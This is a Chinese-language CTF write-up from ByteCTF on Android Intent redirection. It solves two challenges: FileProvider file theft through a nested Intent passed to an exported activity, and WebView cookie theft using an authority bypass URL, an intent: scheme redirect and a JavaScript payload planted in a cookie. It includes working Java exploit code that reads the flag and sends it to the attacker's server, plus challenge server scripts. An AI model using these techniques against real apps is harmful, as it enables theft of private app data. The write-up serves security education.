在此先感谢ByteCTF的赛前培训,感谢summer师傅的倾情讲解
Intent大致可以分为两种,显式Intent和隐式Intent。
同时Intent可以携带以下信息
component(组件):目的组件
Component属性明确指定Intent的目标组件的类名称。如果 component这个属性有指定的话,将直接使用它指定的组件(显式Intent)。指定了这个属性以后,Intent的其它所有属性都是可选的。
Action(动作):用来表现意图的行动
Action 是一个用户定义的字符串,用于描述一个 Android 应用程序组件,一个 Intent Filter 可以包含多个 Action。在 AndroidManifest.xml 的Activity 定义时,可以在其<intent-filter >
节点指定一个Action列表用于标识 Activity 所能接受的“动作”。
category(类别):用来表现动作的类别
该属性也是通过作为<intent-filter>
的子元素来声明的。如果没有指定category,将会使用默认的"android.intent.category.DEFAULT"
。只有当<action>
和<category>
中的内容同时能够匹配上Intent中指定的action和category时,这个活动才能响应Intent。
intent可以通过addCategory()
方法指定多个category
,只有同时满足时,才能匹配成功。
data(数据):表示与动作要操纵的数据
Data是用一个uri对象来表示的。<data>
标签可配置以下属性
只有<data>
标签中指定的内容和Intent中携带的Data完全一致时,当前活动才能够响应该Intent。
type(数据类型):指定Data属性的数据类型
如果Intent对象中既包含Uri又包含Type,那么,在<intent-filter>
中也必须二者都包含才能通过测试。
Type属性用于明确指定Data属性的数据类型或MIME类型,但是通常来说,当Intent不指定Data属性时,Type属性才会起作用,否则Android系统将会根据Data属性值来分析数据的类型,所以无需指定Type属性。
data和type属性一般只需要一个,通过setData方法会把type属性设置为null,相反设置setType方法会把data设置为null,如果想要两个属性同时设置,要使用Intent.setDataAndType()方法。
extras(扩展信息):扩展信息
提供附加数据。使用putExtra()
方法来设置额外的key-value数据
Flags(标志位):期望意图的运行模式
用来指示系统如何启动一个Activity(比如:这个Activity属于哪个Activity栈)和Activity启动后如何处理它(比如:是否把这个Activity归为最近的活动列表中)。
环境 API30_x86
h30~h31:打开服务器中保存的flag文件。然后通过adb命令发送一个广播,将flag传输给.FlagReceiver
。其中命令如下
h34~h35:安装attack apk并运行
可以看到注册了两个activity,一个receiver,还有一个FileProvider。其中两个activity都是可导出(可被外部组件访问)的。
MainActivity中没有做操作,只是载入布局来显示
该Activity通过getIntent()
首先获得intent对象,之后使用getParcelableExtra("intent")
,获取反序列化后名为"intent"
的extra数据,并使用startActivity()
来启动该intent。
该广播接收者从intent中取到一个key为"flag"
的String类型数据,之后将其写出到/data/data/[package_name]/files/flag
文件中。对应了server.py中传入flag的逻辑。我们想要获取的flag也就是这个路径。
FileProvider | Android Developers (google.cn)
FileProvider是ContentProvider
的一个特殊的子类,通过使用content://uri
来代替file://uri
,来促进安全的共享与app关联的文件。
content URI允许临时的授予该文件的读写权限。所以当创建一个包含文件content URI的时候,(如果需要)可以通过Intent.setFlags()
添加相应的权限。同时权限会通过Intent传递给接收的activity(或者服务)
在创建FileProvider时,需提供一个xml文件来指定该provider提供的文件。如res/xml/file_paths.xml
,其中提供了相应的映射路径以及别名。同时需要在AndroidManifest.xml中的FileProvider对应的节点内定义<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths" >
来声明。(其中resource属性内为提供的xml文件)
该APK的指定文件xml中定义如下
<root-path>
节点:代表设备的根目录
另外的节点
name
属性:给该目录起的别名,用于隐藏路径
path
属性:临时授权访问的路径(该目录下的子目录
则该APK提供的FileProvider提供了根目录,通过root/
别名来访问
则如果我们想访问flag的存储路径,实际构造的部分uri应该为root/data/data/[package_name]/files/flag
。
题目将flag存储到了/data/data/[package_name]/files/flag
文件。同时提供了一个FileProvider,则思路是通过FileProvider来将该文件读取。
首先需要构造一个content URI。格式为
则构造的URI为
由于该FileProvider
的exported
属性(必须)设置为false
。导致我们无法在外部组件中直接使用该provider。
但是该apk提供了一个Vulnerable
Activity,并且(不做任何校验的)将接收到的intent内中的key为"intent"
的extra数据当作intent,并使用startActivity()
来启动。这样就对启动的activity进行了临时的授权,可以访问该应用中未导出的组件。
因此,我们可以设置一个intent来启动Vulnerable
,同时给该Intent附加一个key为intent
的数据,该数据包含着构造好的恶意intent。
当Vulnerable
被启动时,就会找到intent的数据,我们在intent中附上我们的attack APK的Activity,同时附加上flag的contentURI。
之后转到我们自己的Activity时,就可以任意读写目标应用内部文件。
获取到flag后设置到TextView上,同时通过sendData()
方法使用get或post请求将数据回显到自己搭建的服务。该方法不表。
同时还需要声明网络权限
在API28+的应用默认禁止使用明文网络流量(flase),因此还需要在<application>
节点中设置属性
需要注意一点的是attackAPP是由server.py来启动的,内定义了PackageName应为"com.bytectf.pwnbabydroid"
首先输入命令,来生成一个flag
然后安装恶意apk,运行
效果图如下,可见是由Vulnerable来启动的MainActivity
环境 API27_x86
该server文件与上题的server文件大体相同
修改了环境为API27
修改了attackAPP和targetAPP的包名
两个activity,一个receiver,其中只有MainActivity是可导出的。
该文件接收intent中key为"flag"
的数据value,然后将其通过setCookie
设置到cookie文件。
而cookie文件位于/data/data/com.bytectf.easydroid/app_webview/Cookies
(API 27)文件中
我们如果想要获取flag,只需要获取该Cookie文件就可以了。
这个Activity比较重要。
获取了intent,并且读取了intent携带的data数据。如果data数据为空,则 设置data为一个普通的Uri,并不执行其他操作
如果getAuthority()
得到的字符串中包括"toutiao.com"
、scheme为"http"
。则会使用webView来加载该链接。
而shouldOverrideUrlLoading()
方法会在WebView中每次发起跳转的时候被回调。回调的时候该方法判断scheme是否等于"intent"
,如果等于"intent"
,则使用startActivity()
方法启动该intent相应的组件,该方法第二个参数flags代表着Uri被解析格式规范
该activity设置成未导出状态,我们没办法直接访问。但是该activity没有对intent进行任何校验,就直接使用WebView来加载intent携带的key为"url"
的数据了。
我想我们的目标就是它了。
我们的最终目标是通过TestActivity加载Cookie文件,并通过某种方式得到回显。
因为MainActivity是可导出的,我们可以给MainActivity传递一个intent,同时绕过authority和scheme的验证,使其可以访问到构造好的evil网址。
则需要构造一个Uri,我选择构造的为"http://app.toutiao.com@[evil_page]"
,这样便可以访问到evil_page
同时evil_page内通过使用location.href
添加一个Intent的Uri。当访问时,shouldOverrideUrlLoading()
方法就会被回调。并且解析该Uri作为intent并使用startActivity()
来启动。
我们只需让该intent携带一个"url"
的数据,并且明确指向TestActivity。这样当TestActivity接收到后,就会将url来加载。
我们的目标是获得Cookie文件,如果将Cookies文件的路径放到"url"
的数据中,便可以将Cookies当作html解释,但只是将Cookies文件使用WebView加载还是不够,因为我们需要将Cookies文件中的内容传输回来。
于是就可以在evil_page中使用document.cookie=
设置一个cookie,然后里面填写恶意的JavaScript代码将数据发送到接收方。当将Cookie当做html解释时,恶意JavaScript代码就会执行。
还有一个点是Cookies文件没有后缀名,我们还需要创建一个.html
的符号链接来指向Cookies文件,这样才能实现WebView加载Cookies文件。
h10:添加了一个cookie,名字为"sendData"
,相应的值是一个<img>
标签,src
属性是一个不存在的路径,因此<img>
标签在装载文档或图像的过程中会发生错误,就会执行onerror
事件。使用eval()
来执行js代码文本,atob()
将文本进行base64解密得到真实的代码。
其中base64的代码源为
也就是将该页面全部内容作为参数发送到接收方
h11~h12:只是简单的通知一下接收方用户打开了该页面(可以去掉
h13~h15:使用setTimeout延时40s再跳转。因为含有恶意js代码的cookie的写入需要一定时间
等待好后会跳转前往 构造好的intent的Uri。之后便会被shouldOverrideUrlLoading()
回调函数捕获,并通过startActivity()
来启动TestActivity
输入命令让FlagReceiver接收到flag并将其存放在cookie中
此时可以看到
预设置的flag已经存储在/data/user/0/com.bytectf.easydroid/app_webview/Cookies
中
实现效果图(中间删除了部分重复帧)
可见已经成功获取到了cookie文件。
通过上述两题的例子,可见我们虽然没有相应权限,但都通过导出组件对Intent重定向不完善的校验产生的漏洞,间接访问到了未导出的组件。
如何防范:
个人的一些浅见,文中如有错误,敬请斧正。
再次感谢summer师傅的倾情讲解。
参考资料:
print_to_user(r
)
if
not
proof_of_work():
print_to_user(
"Please proof of work again, exit...\n"
)
exit(
-
1
)
print_to_user(
"Please enter your apk url:"
)
url
=
sys.stdin.readline().strip()
EXP_FILE
=
download_file(url)
if
not
check_apk(EXP_FILE):
print_to_user(
"Invalid apk file.\n"
)
exit(
-
1
)
print_to_user(
"Preparing android emulator. This may takes about 2 minutes...\n"
)
emulator
=
setup_emulator()
adb([
"wait-for-device"
])
adb_install(APK_FILE)
adb_activity(f
"{VULER}/.MainActivity"
, wait
=
True
)
with
open
(FLAG_FILE,
"r"
) as f:
adb_broadcast(f
"com.bytectf.SET_FLAG"
, f
"{VULER}/.FlagReceiver"
, extras
=
{
"flag"
: f.read()})
time.sleep(
3
)
adb_install(EXP_FILE)
adb_activity(f
"{ATTACKER}/.MainActivity"
)
print_to_user(
"Launching! Let your apk fly for a while...\n"
)
time.sleep(EXPLOIT_TIME_SECS)
try
:
os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)
except
:
traceback.print_exc()
print_to_user(r
)
if
not
proof_of_work():
print_to_user(
"Please proof of work again, exit...\n"
)
exit(
-
1
)
print_to_user(
"Please enter your apk url:"
)
url
=
sys.stdin.readline().strip()
EXP_FILE
=
download_file(url)
if
not
check_apk(EXP_FILE):
print_to_user(
"Invalid apk file.\n"
)
exit(
-
1
)
print_to_user(
"Preparing android emulator. This may takes about 2 minutes...\n"
)
emulator
=
setup_emulator()
adb([
"wait-for-device"
])
adb_install(APK_FILE)
adb_activity(f
"{VULER}/.MainActivity"
, wait
=
True
)
with
open
(FLAG_FILE,
"r"
) as f:
adb_broadcast(f
"com.bytectf.SET_FLAG"
, f
"{VULER}/.FlagReceiver"
, extras
=
{
"flag"
: f.read()})
time.sleep(
3
)
adb_install(EXP_FILE)
adb_activity(f
"{ATTACKER}/.MainActivity"
)
print_to_user(
"Launching! Let your apk fly for a while...\n"
)
time.sleep(EXPLOIT_TIME_SECS)
try
:
os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)
except
:
traceback.print_exc()
shell su root am broadcast
-
W
-
a com.bytectf.SET_FLAG
-
n com.bytectf.babydroid
/
.FlagReceiver
-
e flag [flag]
shell su root am broadcast
-
W
-
a com.bytectf.SET_FLAG
-
n com.bytectf.babydroid
/
.FlagReceiver
-
e flag [flag]
protected void onCreate(Bundle savedInstanceState){
super
.onCreate(savedInstanceState);
this.startActivity(this.getIntent().getParcelableExtra(
"intent"
));
}
protected void onCreate(Bundle savedInstanceState){
super
.onCreate(savedInstanceState);
this.startActivity(this.getIntent().getParcelableExtra(
"intent"
));
}
public void onReceive(Context context,Intent intent){
String flag;
String
str
=
"flag"
;
if
((flag
=
intent.getStringExtra(
str
)) !
=
null) {
File
file
=
new
File
(context.getFilesDir(),
str
);
this.writeFile(
file
, flag);
Log.e(
"FlagReceiver"
,
"received flag."
);
}
return
;
}
public void onReceive(Context context,Intent intent){
String flag;
String
str
=
"flag"
;
if
((flag
=
intent.getStringExtra(
str
)) !
=
null) {
File
file
=
new
File
(context.getFilesDir(),
str
);
this.writeFile(
file
, flag);
Log.e(
"FlagReceiver"
,
"received flag."
);
}
return
;
}
<?xml version
=
"1.0"
encoding
=
"utf-8"
?>
<paths>
<root
-
path name
=
"root"
path
=
""
/
>
<
/
paths>
<?xml version
=
"1.0"
encoding
=
"utf-8"
?>
<paths>
<root
-
path name
=
"root"
path
=
""
/
>
<
/
paths>
content:
/
/
[authorities]
/
[name]
/
[file_relative_path]
content:
/
/
[authorities]
/
[name]
/
[file_relative_path]
content:
/
/
androidx.core.content.FileProvider
/
root
/
data
/
data
/
com.bytectf.babydroid
/
files
/
flag
content:
/
/
androidx.core.content.FileProvider
/
root
/
data
/
data
/
com.bytectf.babydroid
/
files
/
flag
private void getFlag() {
/
/
判断一下是否是被目标apk来start的该Activity
if
(getIntent().getAction().equals(
"evil"
)) {
/
/
获取接收到的uri
Uri data
=
getIntent().getData();
try
{
/
/
定义一个字符输入流
InputStreamReader isr
=
new InputStreamReader(getContentResolver().openInputStream(data));
char[] buf
=
new char[
1024
];
StringBuffer sb
=
new StringBuffer("");
while
(
-
1
!
=
isr.read(buf,
0
,
1024
)) {
sb.append(String.valueOf(buf));
}
/
/
读取的内容输入存储到flag
String flag
=
new String(sb);
Log.d(
"PwnPwn"
, flag);
((TextView) findViewById(R.
id
.tv_show)).setText(new String(sb));
/
/
通过网络、将信息传输回来获取
sendData(
"getFlag"
,flag);
} catch (IOException e) {
e.printStackTrace();
}
}
else
{
/
/
定义一个action为
"evil"
的Intent
Intent evil
=
new Intent(
"evil"
);
/
/
设定目的组件为当前MainActivity,也可以单独放在另一个AttackActivity中
evil.setClassName(getPackageName(), MainActivity.
class
.getName());
/
/
设置操纵data数据为 flag所在文件的contentURI
evil.setData(Uri.parse(pwnUri));
/
/
添加读写权限
evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
/
/
新建一个intent,用于启动目标APK
Intent intent
=
new Intent();
/
/
启动的目标Activity为Vulnerable
intent.setClassName(
"com.bytectf.babydroid"
,
"com.bytectf.babydroid.Vulnerable"
);
/
/
同时将构造好的evil Intent当作 key
"intent"
的数据包装进去
intent.putExtra(
"intent"
, evil);
/
/
启动目标apk
startActivity(intent);
finish();
}
}
private void getFlag() {
/
/
判断一下是否是被目标apk来start的该Activity
if
(getIntent().getAction().equals(
"evil"
)) {
/
/
获取接收到的uri
Uri data
=
getIntent().getData();
try
{
/
/
定义一个字符输入流
InputStreamReader isr
=
new InputStreamReader(getContentResolver().openInputStream(data));
char[] buf
=
new char[
1024
];
StringBuffer sb
=
new StringBuffer("");
while
(
-
1
!
=
isr.read(buf,
0
,
1024
)) {
sb.append(String.valueOf(buf));
}
/
/
读取的内容输入存储到flag
String flag
=
new String(sb);
Log.d(
"PwnPwn"
, flag);
((TextView) findViewById(R.
id
.tv_show)).setText(new String(sb));
/
/
通过网络、将信息传输回来获取
sendData(
"getFlag"
,flag);
} catch (IOException e) {
e.printStackTrace();
}
}
else
{
/
/
定义一个action为
"evil"
的Intent
Intent evil
=
new Intent(
"evil"
);
/
/
设定目的组件为当前MainActivity,也可以单独放在另一个AttackActivity中
evil.setClassName(getPackageName(), MainActivity.
class
.getName());
/
/
设置操纵data数据为 flag所在文件的contentURI
evil.setData(Uri.parse(pwnUri));
/
/
添加读写权限
evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
/
/
新建一个intent,用于启动目标APK
Intent intent
=
new Intent();
/
/
启动的目标Activity为Vulnerable
intent.setClassName(
"com.bytectf.babydroid"
,
"com.bytectf.babydroid.Vulnerable"
);
/
/
同时将构造好的evil Intent当作 key
"intent"
的数据包装进去
intent.putExtra(
"intent"
, evil);
/
/
启动目标apk
startActivity(intent);
finish();
}
}
<uses
-
permission android:name
=
"android.permission.INTERNET"
/
>
<uses
-
permission android:name
=
"android.permission.INTERNET"
/
>
android:usesCleartextTraffic
=
"true"
android:usesCleartextTraffic
=
"true"
adb shell su root am broadcast
-
W
-
a com.bytectf.SET_FLAG
-
n com.bytectf.babydroid
/
.FlagReceiver
-
e flag ByteCTF{testFlagxxxxx}
adb shell su root am broadcast
-
W
-
a com.bytectf.SET_FLAG
-
n com.bytectf.babydroid
/
.FlagReceiver
-
e flag ByteCTF{testFlagxxxxx}
<application android:allowBackup
=
"true"
android:appComponentFactory
=
"androidx.core.app.CoreComponentFactory"
android:debuggable
=
"true"
android:icon
=
"@mipmap/ic_launcher"
android:label
=
"@string/app_name"
android:roundIcon
=
"@mipmap/ic_launcher_round"
android:supportsRtl
=
"true"
android:theme
=
"@style/Theme.Easydroid"
android:usesCleartextTraffic
=
"true"
>
<activity android:exported
=
"true"
android:name
=
"com.bytectf.easydroid.MainActivity"
>
<intent
-
filter
>
<action android:name
=
"android.intent.action.MAIN"
/
>
<category android:name
=
"android.intent.category.LAUNCHER"
/
>
<
/
intent
-
filter
>
<
/
activity>
<activity android:exported
=
"false"
android:name
=
"com.bytectf.easydroid.TestActivity"
/
>
<receiver android:exported
=
"false"
android:name
=
"com.bytectf.easydroid.FlagReceiver"
>
<intent
-
filter
>
<action android:name
=
"com.bytectf.SET_FLAG"
/
>
<
/
intent
-
filter
>
<
/
receiver>
<
/
application>
<application android:allowBackup
=
"true"
android:appComponentFactory
=
"androidx.core.app.CoreComponentFactory"
android:debuggable
=
"true"
android:icon
=
"@mipmap/ic_launcher"
android:label
=
"@string/app_name"
android:roundIcon
=
"@mipmap/ic_launcher_round"
android:supportsRtl
=
"true"
android:theme
=
"@style/Theme.Easydroid"
android:usesCleartextTraffic
=
"true"
>
<activity android:exported
=
"true"
android:name
=
"com.bytectf.easydroid.MainActivity"
>
<intent
-
filter
>
<action android:name
=
"android.intent.action.MAIN"
/
>
<category android:name
=
"android.intent.category.LAUNCHER"
/
>
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)